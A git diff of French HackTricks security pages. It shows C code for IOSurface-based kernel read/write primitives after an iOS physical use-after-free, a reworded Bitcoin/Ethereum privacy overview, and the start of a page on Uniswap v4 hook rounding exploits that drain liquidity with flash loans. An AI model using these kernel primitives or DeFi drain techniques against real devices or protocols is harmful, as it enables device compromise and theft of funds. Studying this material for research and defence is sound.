@@ -128,7 +127,7 @@ io_connect_t id = result.surface_id; } } ``` -Rechercher des objets **`IOSurface`** dans une page physique libĂ©rĂ©e: +Rechercher des objets **`IOSurface`** dans une page physique libĂ©rĂ©e : ```c int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); @@ -162,9 +161,9 @@ free(surfaceIDs); return 0; } ``` -### Obtention d'un accĂšs lecture/Ă©criture au kernel avec IOSurface +### Obtenir des opĂ©rations de lecture/Ă©criture kernel avec IOSurface -AprĂšs avoir pris le contrĂŽle d'un objet IOSurface dans la mĂ©moire kernel (mappĂ© sur une page physique libĂ©rĂ©e accessible depuis userspace), on peut l'utiliser pour des **opĂ©rations arbitraires de lecture et d'Ă©criture kernel**. +AprĂšs avoir pris le contrĂŽle d'un objet IOSurface dans la mĂ©moire kernel (mappĂ© sur une page physique libĂ©rĂ©e accessible depuis userspace), on peut l'utiliser pour des opĂ©rations de **lecture et Ă©criture kernel arbitraires**. **Champs clĂ©s dans IOSurface** @@ -175,7 +174,7 @@ L'objet IOSurface possĂšde deux champs cruciaux : En Ă©crasant ces pointeurs, on les redirige vers des adresses arbitraires en mĂ©moire kernel, activant des capacitĂ©s de lecture/Ă©criture. -#### Lecture 32-bit du kernel +#### Lecture kernel 32-bit Pour effectuer une lecture : @@ -198,12 +197,12 @@ iosurface_set_use_count_pointer(info.object, orig); return value; } ``` -#### Écriture 64 bits dans le noyau +#### Écriture 64 bits dans le kernel Pour effectuer une Ă©criture : -1. Écrasez le **indexed timestamp pointer** pour qu'il pointe vers l'adresse cible. -2. Utilisez la mĂ©thode `set_indexed_timestamp` pour Ă©crire une valeur 64 bits. +1. Écraser le **indexed timestamp pointer** pour qu'il pointe vers l'adresse cible. +2. Utiliser la mĂ©thode `set_indexed_timestamp` pour Ă©crire une valeur 64 bits. ```c void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { uint64_t args[3] = {surfaceID, 0, value}; @@ -222,8 +221,8 @@ iosurface_set_indexed_timestamp_pointer(info.object, orig); 1. **Trigger Physical Use-After-Free**: Des pages libĂ©rĂ©es sont disponibles pour rĂ©utilisation. 2. **Spray IOSurface Objects**: Allouer de nombreux objets IOSurface avec une "magic value" unique dans kernel memory. 3. **Identify Accessible IOSurface**: Localiser un IOSurface sur une page libĂ©rĂ©e que vous contrĂŽlez. -4. **Abuse Use-After-Free**: Modifier des pointeurs dans l'objet IOSurface pour permettre des **kernel read/write** arbitraires via les mĂ©thodes IOSurface. +4. **Abuse Use-After-Free**: Modifier les pointeurs dans l'objet IOSurface pour permettre des **kernel read/write** arbitraires via les mĂ©thodes IOSurface. -Avec ces primitives, l'exploit fournit des **32-bit reads** contrĂŽlĂ©s et des **64-bit writes** vers kernel memory. Les Ă©tapes de jailbreak supplĂ©mentaires pourraient impliquer des primitives de read/write plus stables, qui peuvent nĂ©cessiter de contourner des protections additionnelles (par ex., PPL sur les appareils arm64e plus rĂ©cents). +Avec ces primitives, l'exploit fournit des **32-bit reads** contrĂŽlĂ©s et des **64-bit writes** vers le kernel memory. D'autres Ă©tapes de jailbreak pourraient impliquer des primitives de read/write plus stables, qui peuvent nĂ©cessiter de contourner des protections supplĂ©mentaires (par ex., PPL sur les appareils arm64e plus rĂ©cents). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/blockchain/blockchain-and-crypto-currencies/README.md b/src/blockchain/blockchain-and-crypto-currencies/README.md index 2856fab35..5d1e4569c 100644 --- a/src/blockchain/blockchain-and-crypto-currencies/README.md +++ b/src/blockchain/blockchain-and-crypto-currencies/README.md @@ -1,176 +1,178 @@ +# Blockchain et Crypto-monnaies + {{#include ../../banners/hacktricks-training.md}} ## Concepts de base -- **Smart Contracts** sont dĂ©finis comme des programmes qui s'exĂ©cutent sur une blockchain lorsque certaines conditions sont remplies, automatisant l'exĂ©cution des accords sans intermĂ©diaires. -- **Decentralized Applications (dApps)** s'appuient sur des smart contracts, prĂ©sentant une interface conviviale et un back-end transparent et auditable. -- **Tokens & Coins** diffĂ©rencient oĂč les coins servent de monnaie numĂ©rique, tandis que les tokens reprĂ©sentent une valeur ou une propriĂ©tĂ© dans des contextes spĂ©cifiques. +- **Smart Contracts** sont dĂ©finis comme des programmes qui s'exĂ©cutent sur une blockchain lorsque certaines conditions sont remplies, automatisant l'exĂ©cution d'accords sans intermĂ©diaires. +- **Decentralized Applications (dApps)** reposent sur les smart contracts, avec une interface front-end conviviale et un back-end transparent et auditable. +- **Tokens & Coins** diffĂ©rencient les rĂŽles : les coins servent de monnaie numĂ©rique, tandis que les tokens reprĂ©sentent de la valeur ou une propriĂ©tĂ© dans des contextes spĂ©cifiques. - **Utility Tokens** donnent accĂšs Ă  des services, et **Security Tokens** signifient la propriĂ©tĂ© d'actifs. -- **DeFi** signifie Finance DĂ©centralisĂ©e, offrant des services financiers sans autoritĂ©s centrales. -- **DEX** et **DAOs** font rĂ©fĂ©rence aux plateformes d'Ă©change dĂ©centralisĂ©es et aux organisations autonomes dĂ©centralisĂ©es, respectivement. +- **DeFi** dĂ©signe Decentralized Finance, offrant des services financiers sans autoritĂ©s centrales. +- **DEX** et **DAOs** se rĂ©fĂšrent respectivement aux Decentralized Exchange Platforms et aux Decentralized Autonomous Organizations. ## MĂ©canismes de consensus -Les mĂ©canismes de consensus garantissent des validations de transactions sĂ©curisĂ©es et convenues sur la blockchain : +Les mĂ©canismes de consensus garantissent la validation sĂ©curisĂ©e et convenue des transactions sur la blockchain : - **Proof of Work (PoW)** repose sur la puissance de calcul pour la vĂ©rification des transactions. -- **Proof of Stake (PoS)** exige que les validateurs dĂ©tiennent un certain montant de tokens, rĂ©duisant la consommation d'Ă©nergie par rapport au PoW. +- **Proof of Stake (PoS)** exige que les validateurs dĂ©tiennent une certain nombre de tokens, rĂ©duisant la consommation d'Ă©nergie par rapport au PoW. -## Essentiels de Bitcoin +## Notions essentielles sur Bitcoin ### Transactions -Les transactions Bitcoin impliquent le transfert de fonds entre adresses. Les transactions sont validĂ©es par des signatures numĂ©riques, garantissant que seul le propriĂ©taire de la clĂ© privĂ©e peut initier des transferts. +Les transactions Bitcoin impliquent le transfert de fonds entre adresses. Les transactions sont validĂ©es via des signatures numĂ©riques, garantissant que seul le dĂ©tenteur de la clĂ© privĂ©e peut initier des transferts. #### Composants clĂ©s : -- **Multisignature Transactions** nĂ©cessitent plusieurs signatures pour autoriser une transaction. -- Les transactions se composent d'**inputs** (source de fonds), **outputs** (destination), **fees** (payĂ©es aux mineurs) et **scripts** (rĂšgles de transaction). +- **Multisignature Transactions** requiĂšrent plusieurs signatures pour autoriser une transaction. +- Les transactions se composent d'**inputs** (origine des fonds), d'**outputs** (destination), de **fees** (frais payĂ©s aux mineurs) et de **scripts** (rĂšgles de la transaction). ### Lightning Network -Vise Ă  amĂ©liorer la scalabilitĂ© de Bitcoin en permettant plusieurs transactions au sein d'un canal, ne diffusant l'Ă©tat final que sur la blockchain. +Vise Ă  amĂ©liorer la scalabilitĂ© de Bitcoin en permettant plusieurs transactions au sein d'un canal, en ne diffusant sur la blockchain que l'Ă©tat final. -## PrĂ©occupations en matiĂšre de confidentialitĂ© de Bitcoin +## ProblĂšmes de confidentialitĂ© de Bitcoin -Les attaques sur la vie privĂ©e, telles que **Common Input Ownership** et **UTXO Change Address Detection**, exploitent les modĂšles de transaction. Des stratĂ©gies comme **Mixers** et **CoinJoin** amĂ©liorent l'anonymat en obscurcissant les liens de transaction entre les utilisateurs. +Les attaques sur la confidentialitĂ©, telles que **Common Input Ownership** et la **dĂ©tection d'adresses de change UTXO**, exploitent les motifs transactionnels. Des stratĂ©gies comme les **Mixers** et **CoinJoin** amĂ©liorent l'anonymat en obscurcissant les liens de transaction entre utilisateurs. -## Acquisition de Bitcoins de maniĂšre anonyme +## AcquĂ©rir des Bitcoins de façon anonyme -Les mĂ©thodes incluent les Ă©changes en espĂšces, le minage et l'utilisation de mixers. **CoinJoin** mĂ©lange plusieurs transactions pour compliquer la traçabilitĂ©, tandis que **PayJoin** dissimule les CoinJoins en tant que transactions rĂ©guliĂšres pour une confidentialitĂ© accrue. +Les mĂ©thodes incluent les transactions en espĂšces, le mining et l'utilisation de mixers. **CoinJoin** mĂ©lange plusieurs transactions pour compliquer la traçabilitĂ©, tandis que **PayJoin** camoufle les CoinJoin en transactions rĂ©guliĂšres pour une confidentialitĂ© accrue. -# Attaques sur la vie privĂ©e de Bitcoin +# Attaques de confidentialitĂ© Bitcoin -# RĂ©sumĂ© des attaques sur la vie privĂ©e de Bitcoin +# RĂ©sumĂ© des attaques contre la confidentialitĂ© Bitcoin -Dans le monde de Bitcoin, la confidentialitĂ© des transactions et l'anonymat des utilisateurs sont souvent des sujets de prĂ©occupation. Voici un aperçu simplifiĂ© de plusieurs mĂ©thodes courantes par lesquelles les attaquants peuvent compromettre la vie privĂ©e de Bitcoin. +Dans l'univers de Bitcoin, la confidentialitĂ© des transactions et l'anonymat des utilisateurs sont souvent prĂ©occupants. Voici un aperçu simplifiĂ© de plusieurs mĂ©thodes courantes par lesquelles des attaquants peuvent compromettre la confidentialitĂ© sur Bitcoin. -## **Common Input Ownership Assumption** +## **HypothĂšse d'appartenance commune des inputs** -Il est gĂ©nĂ©ralement rare que des inputs de diffĂ©rents utilisateurs soient combinĂ©s dans une seule transaction en raison de la complexitĂ© impliquĂ©e. Ainsi, **deux adresses d'input dans la mĂȘme transaction sont souvent supposĂ©es appartenir au mĂȘme propriĂ©taire**. +Il est gĂ©nĂ©ralement rare que des inputs provenant de diffĂ©rents utilisateurs soient combinĂ©s dans une seule transaction Ă  cause de la complexitĂ© impliquĂ©e. Ainsi, **deux adresses en tant qu'inputs dans la mĂȘme transaction sont souvent supposĂ©es appartenir au mĂȘme propriĂ©taire**. -## **UTXO Change Address Detection** +## **DĂ©tection d'adresse de change UTXO** -Un UTXO, ou **Unspent Transaction Output**, doit ĂȘtre entiĂšrement dĂ©pensĂ© dans une transaction. Si seule une partie est envoyĂ©e Ă  une autre adresse, le reste va Ă  une nouvelle adresse de changement. Les observateurs peuvent supposer que cette nouvelle adresse appartient Ă  l'expĂ©diteur, compromettant la vie privĂ©e. +Un UTXO, ou Unspent Transaction Output (sortie de transaction non dĂ©pensĂ©e), doit ĂȘtre dĂ©pensĂ© intĂ©gralement dans une transaction. Si seule une partie est envoyĂ©e Ă  une autre adresse, le reste est renvoyĂ© Ă  une nouvelle adresse de change. Les observateurs peuvent supposer que cette nouvelle adresse appartient Ă  l'expĂ©diteur, compromettant la confidentialitĂ©. ### Exemple -Pour attĂ©nuer cela, les services de mixage ou l'utilisation de plusieurs adresses peuvent aider Ă  obscurcir la propriĂ©tĂ©. +Pour attĂ©nuer cela, les services de mixing ou l'utilisation de plusieurs adresses peuvent aider Ă  obscurcir la propriĂ©tĂ©. -## **Exposition sur les rĂ©seaux sociaux et forums** +## **Exposition via les rĂ©seaux sociaux & forums** -Les utilisateurs partagent parfois leurs adresses Bitcoin en ligne, rendant **facile de lier l'adresse Ă  son propriĂ©taire**. +Les utilisateurs partagent parfois leurs adresses Bitcoin en ligne, ce qui rend **facile de lier l'adresse Ă  son propriĂ©taire**. -## **Analyse des graphes de transactions** +## **Analyse du graphe des transactions** -Les transactions peuvent ĂȘtre visualisĂ©es sous forme de graphes, rĂ©vĂ©lant des connexions potentielles entre les utilisateurs en fonction du flux de fonds. +Les transactions peuvent ĂȘtre visualisĂ©es sous forme de graphes, rĂ©vĂ©lant des connexions potentielles entre utilisateurs basĂ©es sur le flux de fonds. -## **Heuristique d'input inutile (Heuristique de changement optimal)** +## **Heuristique de l'input inutile (Optimal Change Heuristic)** -Cette heuristique est basĂ©e sur l'analyse des transactions avec plusieurs inputs et outputs pour deviner quel output est le changement retournant Ă  l'expĂ©diteur. +Cette heuristique se base sur l'analyse des transactions avec plusieurs inputs et outputs pour deviner quel output est la monnaie de retour (change) revenant Ă  l'expĂ©diteur. ### Exemple ```bash 2 btc --> 4 btc 3 btc 1 btc ``` -Si l'ajout de plus d'entrĂ©es rend la sortie de changement plus grande que n'importe quelle entrĂ©e unique, cela peut confondre l'heuristique. +Si l'ajout d'inputs rend la sortie de change plus grande que n'importe quel input individuel, cela peut tromper l'heuristique. -## **RĂ©utilisation d'Adresse ForcĂ©e** +## **Forced Address Reuse** -Les attaquants peuvent envoyer de petites sommes Ă  des adresses prĂ©cĂ©demment utilisĂ©es, espĂ©rant que le destinataire les combine avec d'autres entrĂ©es dans de futures transactions, reliant ainsi les adresses ensemble. +Les attaquants peuvent envoyer de petites sommes Ă  des adresses dĂ©jĂ  utilisĂ©es, en espĂ©rant que le destinataire les combine avec d'autres inputs dans des transactions futures, liant ainsi les adresses entre elles. -### Comportement Correct du Portefeuille +### Correct Wallet Behavior -Les portefeuilles devraient Ă©viter d'utiliser des piĂšces reçues sur des adresses dĂ©jĂ  utilisĂ©es et vides pour prĂ©venir cette fuite de confidentialitĂ©. +Les wallets doivent Ă©viter d'utiliser les coins reçus sur des adresses dĂ©jĂ  utilisĂ©es et vides pour prĂ©venir cette privacy leak. -## **Autres Techniques d'Analyse de Blockchain** +## **Other Blockchain Analysis Techniques** -- **Montants de Paiement Exactes :** Les transactions sans changement sont probablement entre deux adresses appartenant au mĂȘme utilisateur. -- **Nombres Ronds :** Un nombre rond dans une transaction suggĂšre qu'il s'agit d'un paiement, avec la sortie non ronde Ă©tant probablement le changement. -- **Empreinte de Portefeuille :** DiffĂ©rents portefeuilles ont des modĂšles de crĂ©ation de transactions uniques, permettant aux analystes d'identifier le logiciel utilisĂ© et potentiellement l'adresse de changement. -- **CorrĂ©lations de Montant & Timing :** La divulgation des heures ou des montants de transaction peut rendre les transactions traçables. +- **Exact Payment Amounts:** Les transactions sans change sont probablement entre deux adresses appartenant au mĂȘme utilisateur. +- **Round Numbers:** Un nombre rond dans une transaction suggĂšre qu'il s'agit d'un paiement, la sortie non ronde Ă©tant probablement la sortie de change. +- **Wallet Fingerprinting:** DiffĂ©rents wallets ont des schĂ©mas uniques de crĂ©ation de transactions, permettant aux analystes d'identifier le logiciel utilisĂ© et potentiellement l'adresse de change. +- **Amount & Timing Correlations:** La divulgation des heures ou des montants des transactions peut rendre les transactions traçables. -## **Analyse de Trafic** +## **Traffic Analysis** -En surveillant le trafic rĂ©seau, les attaquants peuvent potentiellement lier des transactions ou des blocs Ă  des adresses IP, compromettant ainsi la confidentialitĂ© des utilisateurs. Cela est particuliĂšrement vrai si une entitĂ© exploite de nombreux nƓuds Bitcoin, amĂ©liorant sa capacitĂ© Ă  surveiller les transactions. +En surveillant le trafic rĂ©seau, des attaquants peuvent potentiellement lier des transactions ou des blocs Ă  des adresses IP, compromettant la confidentialitĂ© des utilisateurs. Cela est particuliĂšrement vrai si une entitĂ© exploite de nombreux nƓuds Bitcoin, renforçant sa capacitĂ© Ă  surveiller les transactions. -## Plus +## More -Pour une liste complĂšte des attaques sur la confidentialitĂ© et des dĂ©fenses, visitez [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy). +Pour une liste complĂšte des attaques et des dĂ©fenses en matiĂšre de confidentialitĂ©, visitez [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy). -# Transactions Bitcoin Anonymes +# Anonymous Bitcoin Transactions -## Façons d'Obtenir des Bitcoins de ManiĂšre Anonyme +## Ways to Get Bitcoins Anonymously -- **Transactions en EspĂšces :** AcquĂ©rir des bitcoins par le biais d'espĂšces. -- **Alternatives en EspĂšces :** Acheter des cartes-cadeaux et les Ă©changer en ligne contre des bitcoins. -- **Minage :** La mĂ©thode la plus privĂ©e pour gagner des bitcoins est le minage, surtout lorsqu'il est effectuĂ© seul, car les pools de minage peuvent connaĂźtre l'adresse IP du mineur. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining) -- **Vol :** ThĂ©oriquement, voler des bitcoins pourrait ĂȘtre une autre mĂ©thode pour les acquĂ©rir anonymement, bien que cela soit illĂ©gal et non recommandĂ©. +- **Cash Transactions**: AcquĂ©rir du bitcoin en espĂšces. +- **Cash Alternatives**: Acheter des cartes-cadeaux et les Ă©changer en ligne contre du bitcoin. +- **Mining**: La mĂ©thode la plus privĂ©e pour gagner des bitcoins est le mining, surtout en solo car les mining pools peuvent connaĂźtre l'adresse IP du mineur. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining) +- **Theft**: ThĂ©oriquement, voler des bitcoins pourrait ĂȘtre une autre mĂ©thode pour les obtenir anonymement, bien que ce soit illĂ©gal et non recommandĂ©. -## Services de Mixage +## Mixing Services -En utilisant un service de mixage, un utilisateur peut **envoyer des bitcoins** et recevoir **des bitcoins diffĂ©rents en retour**, ce qui rend difficile la traçabilitĂ© du propriĂ©taire d'origine. Cependant, cela nĂ©cessite de faire confiance au service pour ne pas conserver de journaux et pour rĂ©ellement retourner les bitcoins. Des options de mixage alternatives incluent les casinos Bitcoin. +En utilisant un mixing service, un utilisateur peut **envoyer des bitcoins** et recevoir **d'autres bitcoins en retour**, ce qui rend la traçabilitĂ© du propriĂ©taire initial difficile. Cependant, cela nĂ©cessite de faire confiance au service pour ne pas conserver de logs et pour renvoyer effectivement les bitcoins. D'autres options de mixing incluent les casinos Bitcoin. ## CoinJoin -**CoinJoin** fusionne plusieurs transactions de diffĂ©rents utilisateurs en une seule, compliquant le processus pour quiconque essaie d'associer des entrĂ©es avec des sorties. MalgrĂ© son efficacitĂ©, les transactions avec des tailles d'entrĂ©e et de sortie uniques peuvent encore potentiellement ĂȘtre tracĂ©es. +CoinJoin fusionne plusieurs transactions de diffĂ©rents utilisateurs en une seule, compliquant le travail de quiconque essaie d'associer inputs et outputs. MalgrĂ© son efficacitĂ©, des transactions ayant des tailles d'input et d'output uniques peuvent encore potentiellement ĂȘtre retracĂ©es. -Des transactions d'exemple qui ont pu utiliser CoinJoin incluent `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` et `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. +Exemples de transactions qui ont peut‑ĂȘtre utilisĂ© CoinJoin incluent `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` et `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. -Pour plus d'informations, visitez [CoinJoin](https://coinjoin.io/en). Pour un service similaire sur Ethereum, consultez [Tornado Cash](https://tornado.cash), qui anonymise les transactions avec des fonds provenant de mineurs. +Pour plus d'informations, visitez [CoinJoin](https://coinjoin.io/en). Pour un service similaire sur Ethereum, consultez [Tornado Cash](https://tornado.cash), qui anonymise les transactions avec des fonds provenant des mineurs. ## PayJoin -Une variante de CoinJoin, **PayJoin** (ou P2EP), dissimule la transaction entre deux parties (par exemple, un client et un commerçant) comme une transaction rĂ©guliĂšre, sans les caractĂ©ristiques distinctives de sorties Ă©gales de CoinJoin. Cela rend extrĂȘmement difficile la dĂ©tection et pourrait invalider l'heuristique de propriĂ©tĂ© d'entrĂ©e commune utilisĂ©e par les entitĂ©s de surveillance des transactions. +Un variant de CoinJoin, **PayJoin** (ou P2EP), dĂ©guisent la transaction entre deux parties (par ex. un client et un commerçant) en une transaction ordinaire, sans les sorties Ă©gales distinctives caractĂ©ristiques de CoinJoin. Cela la rend extrĂȘmement difficile Ă  dĂ©tecter et peut invalider la common-input-ownership heuristic utilisĂ©e par les entitĂ©s de surveillance des transactions. ```plaintext 2 btc --> 3 btc 5 btc 4 btc ``` -Les transactions comme celles-ci pourraient ĂȘtre des PayJoin, amĂ©liorant la confidentialitĂ© tout en restant indiscernables des transactions bitcoin standard. +Des transactions comme celles ci‑dessus pourraient ĂȘtre des PayJoin, amĂ©liorant la confidentialitĂ© tout en restant indiscernables des transactions bitcoin standard. -**L'utilisation de PayJoin pourrait perturber considĂ©rablement les mĂ©thodes de surveillance traditionnelles**, en faisant un dĂ©veloppement prometteur dans la quĂȘte de la confidentialitĂ© transactionnelle. +**L'utilisation de PayJoin pourrait perturber significativement les mĂ©thodes traditionnelles de surveillance**, en faisant un dĂ©veloppement prometteur dans la recherche de la confidentialitĂ© des transactions. # Meilleures pratiques pour la confidentialitĂ© dans les cryptomonnaies -## **Techniques de synchronisation des portefeuilles** +## **Wallet Synchronization Techniques** -Pour maintenir la confidentialitĂ© et la sĂ©curitĂ©, la synchronisation des portefeuilles avec la blockchain est cruciale. Deux mĂ©thodes se distinguent : +Pour prĂ©server la confidentialitĂ© et la sĂ©curitĂ©, synchroniser les wallets avec la blockchain est crucial. Deux mĂ©thodes se distinguent : -- **NƓud complet** : En tĂ©lĂ©chargeant l'intĂ©gralitĂ© de la blockchain, un nƓud complet garantit une confidentialitĂ© maximale. Toutes les transactions jamais effectuĂ©es sont stockĂ©es localement, rendant impossible pour les adversaires d'identifier quelles transactions ou adresses intĂ©ressent l'utilisateur. -- **Filtrage de blocs cĂŽtĂ© client** : Cette mĂ©thode consiste Ă  crĂ©er des filtres pour chaque bloc de la blockchain, permettant aux portefeuilles d'identifier les transactions pertinentes sans exposer d'intĂ©rĂȘts spĂ©cifiques aux observateurs du rĂ©seau. Les portefeuilles lĂ©gers tĂ©lĂ©chargent ces filtres, ne rĂ©cupĂ©rant des blocs complets que lorsqu'une correspondance avec les adresses de l'utilisateur est trouvĂ©e. +- **Full node** : En tĂ©lĂ©chargeant l'intĂ©gralitĂ© de la blockchain, un full node garantit une confidentialitĂ© maximale. Toutes les transactions jamais effectuĂ©es sont stockĂ©es localement, rendant impossible pour des adversaires d'identifier quelles transactions ou adresses intĂ©ressent l'utilisateur. +- **Client-side block filtering** : Cette mĂ©thode consiste Ă  crĂ©er des filtres pour chaque bloc de la blockchain, permettant aux wallets d'identifier les transactions pertinentes sans exposer des intĂ©rĂȘts spĂ©cifiques aux observateurs du rĂ©seau. Les wallets lĂ©gers tĂ©lĂ©chargent ces filtres, ne rĂ©cupĂ©rant les blocs complets que lorsqu'il y a une correspondance avec les adresses de l'utilisateur. -## **Utilisation de Tor pour l'anonymat** +## **Utiliser Tor pour l'anonymat** -Étant donnĂ© que Bitcoin fonctionne sur un rĂ©seau pair-Ă -pair, il est recommandĂ© d'utiliser Tor pour masquer votre adresse IP, amĂ©liorant la confidentialitĂ© lors de l'interaction avec le rĂ©seau. +Étant donnĂ© que Bitcoin fonctionne sur un rĂ©seau peer-to-peer, il est recommandĂ© d'utiliser Tor pour masquer votre adresse IP, renforçant la confidentialitĂ© lors des interactions avec le rĂ©seau. -## **PrĂ©vention de la rĂ©utilisation des adresses** +## **PrĂ©venir la rĂ©utilisation d'adresses** -Pour protĂ©ger la confidentialitĂ©, il est vital d'utiliser une nouvelle adresse pour chaque transaction. La rĂ©utilisation des adresses peut compromettre la confidentialitĂ© en liant les transactions Ă  la mĂȘme entitĂ©. Les portefeuilles modernes dĂ©couragent la rĂ©utilisation des adresses par leur conception. +Pour protĂ©ger la confidentialitĂ©, il est essentiel d'utiliser une nouvelle adresse pour chaque transaction. La rĂ©utilisation d'adresses peut compromettre la confidentialitĂ© en reliant des transactions Ă  la mĂȘme entitĂ©. Les wallets modernes dĂ©couragent la rĂ©utilisation d'adresses par leur conception. ## **StratĂ©gies pour la confidentialitĂ© des transactions** -- **Transactions multiples** : Diviser un paiement en plusieurs transactions peut obscurcir le montant de la transaction, contrecarrant les attaques sur la confidentialitĂ©. -- **Évitement du changement** : Opter pour des transactions qui ne nĂ©cessitent pas de sorties de changement amĂ©liore la confidentialitĂ© en perturbant les mĂ©thodes de dĂ©tection du changement. -- **Multiples sorties de changement** : Si l'Ă©vitement du changement n'est pas faisable, gĂ©nĂ©rer plusieurs sorties de changement peut tout de mĂȘme amĂ©liorer la confidentialitĂ©. +- **Multiple transactions** : Fractionner un paiement en plusieurs transactions peut obscurcir le montant, contrecarrant les attaques visant la confidentialitĂ©. +- **Change avoidance** : Choisir des transactions qui n'exigent pas d'outputs de change amĂ©liore la confidentialitĂ© en perturbant les mĂ©thodes de dĂ©tection du change. +- **Multiple change outputs** : Si Ă©viter le change n'est pas faisable, gĂ©nĂ©rer plusieurs outputs de change peut quand mĂȘme amĂ©liorer la confidentialitĂ©. -# **Monero : Un phare d'anonymat** +# **Monero : un phare de l'anonymat** -Monero rĂ©pond au besoin d'anonymat absolu dans les transactions numĂ©riques, Ă©tablissant une norme Ă©levĂ©e pour la confidentialitĂ©. +Monero rĂ©pond au besoin d'anonymat absolu dans les transactions numĂ©riques, Ă©tablissant une norme Ă©levĂ©e en matiĂšre de confidentialitĂ©. -# **Ethereum : Gaz et transactions** +# **Ethereum : Gas et transactions** -## **Comprendre le gaz** +## **Comprendre le Gas** -Le gaz mesure l'effort computationnel nĂ©cessaire pour exĂ©cuter des opĂ©rations sur Ethereum, tarifĂ© en **gwei**. Par exemple, une transaction coĂ»tant 2 310 000 gwei (ou 0,00231 ETH) implique une limite de gaz et un frais de base, avec un pourboire pour inciter les mineurs. Les utilisateurs peuvent dĂ©finir un frais maximum pour s'assurer de ne pas trop payer, l'excĂ©dent Ă©tant remboursĂ©. +Le Gas mesure l'effort computationnel nĂ©cessaire pour exĂ©cuter des opĂ©rations sur Ethereum, tarifĂ© en **gwei**. Par exemple, une transaction coĂ»tant 2 310 000 gwei (ou 0,00231 ETH) implique une gas limit et une base fee, avec un tip pour inciter les mineurs. Les utilisateurs peuvent dĂ©finir un max fee pour s'assurer de ne pas trop payer, l'excĂ©dent Ă©tant remboursĂ©. ## **ExĂ©cution des transactions** -Les transactions sur Ethereum impliquent un expĂ©diteur et un destinataire, qui peuvent ĂȘtre soit des adresses d'utilisateur, soit des adresses de contrat intelligent. Elles nĂ©cessitent un frais et doivent ĂȘtre minĂ©es. Les informations essentielles dans une transaction incluent le destinataire, la signature de l'expĂ©diteur, la valeur, des donnĂ©es optionnelles, la limite de gaz et les frais. Notamment, l'adresse de l'expĂ©diteur est dĂ©duite de la signature, Ă©liminant le besoin de celle-ci dans les donnĂ©es de la transaction. +Les transactions sur Ethereum impliquent un Ă©metteur et un destinataire, qui peuvent ĂȘtre des adresses utilisateur ou des contrats intelligents. Elles requiĂšrent des frais et doivent ĂȘtre minĂ©es. Les informations essentielles d'une transaction incluent le destinataire, la signature de l'Ă©metteur, la valeur, des donnĂ©es optionnelles, la gas limit et les frais. Notamment, l'adresse de l'Ă©metteur est dĂ©duite de la signature, ce qui Ă©vite d'avoir Ă  l'inclure dans les donnĂ©es de la transaction. -Ces pratiques et mĂ©canismes sont fondamentaux pour quiconque cherchant Ă  s'engager avec les cryptomonnaies tout en priorisant la confidentialitĂ© et la sĂ©curitĂ©. +Ces pratiques et mĂ©canismes sont fondamentaux pour quiconque souhaite interagir avec les cryptomonnaies tout en donnant la prioritĂ© Ă  la confidentialitĂ© et Ă  la sĂ©curitĂ©. -## RĂ©fĂ©rences +## References - [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake) - [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/) @@ -179,4 +181,12 @@ Ces pratiques et mĂ©canismes sont fondamentaux pour quiconque cherchant Ă  s'eng - [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/) - [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse) +## DeFi/AMM Exploitation + +Si vous recherchez l'exploitation pratique des DEXes et AMMs (Uniswap v4 hooks, rounding/precision abuse, flash‑loan amplified threshold‑crossing swaps), consultez : + +{{#ref}} +defi-amm-hook-precision.md +{{#endref}} + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md b/src/blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md new file mode 100644 index 000000000..59e367b40 --- /dev/null +++ b/src/blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md @@ -0,0 +1,160 @@ +# Exploitation DeFi/AMM : Abus de prĂ©cision/arrondi des hooks Uniswap v4 + +{{#include ../../banners/hacktricks-training.md}} + +Cette page documente une classe de techniques d'exploitation DeFi/AMM visant les DEXes de type Uniswap v4 qui Ă©tendent les mathĂ©matiques de base avec des hooks personnalisĂ©s. Un incident rĂ©cent sur Bunni V2 a exploitĂ© une faille d'arrondi/de prĂ©cision dans une Liquidity Distribution Function (LDF) exĂ©cutĂ©e Ă  chaque swap, permettant Ă  l'attaquant d'accumuler des crĂ©dits positifs et de drainer la liquiditĂ©. + +IdĂ©e clĂ© : si un hook implĂ©mente une comptabilitĂ© supplĂ©mentaire dĂ©pendant de mathĂ©matiques en virgule fixe, d'arrondis de tick et de logique de seuils, un attaquant peut construire des swaps exact‑input qui franchissent des seuils spĂ©cifiques de sorte que les divergences d'arrondi s'accumulent en sa faveur. RĂ©pĂ©ter le schĂ©ma puis retirer le solde gonflĂ© rĂ©alise le profit, souvent financĂ© par un flash loan. + +## Contexte : hooks Uniswap v4 et flux de swap + +- Les hooks sont des contrats appelĂ©s par le PoolManager Ă  des points prĂ©cis du cycle de vie (par ex., beforeSwap/afterSwap, beforeAddLiquidity/afterAddLiquidity, beforeRemoveLiquidity/afterRemoveLiquidity). +- Les pools sont initialisĂ©s avec un PoolKey incluant une adresse hooks. Si non‑zĂ©ro, le PoolManager effectue des callbacks pour chaque opĂ©ration pertinente. +- Core math utilise des formats en virgule fixe tels que Q64.96 pour sqrtPriceX96 et l'arithmĂ©tique de tick avec 1.0001^tick. Toute mathĂ©matique personnalisĂ©e superposĂ©e doit soigneusement matcher les sĂ©mantiques d'arrondi pour Ă©viter une 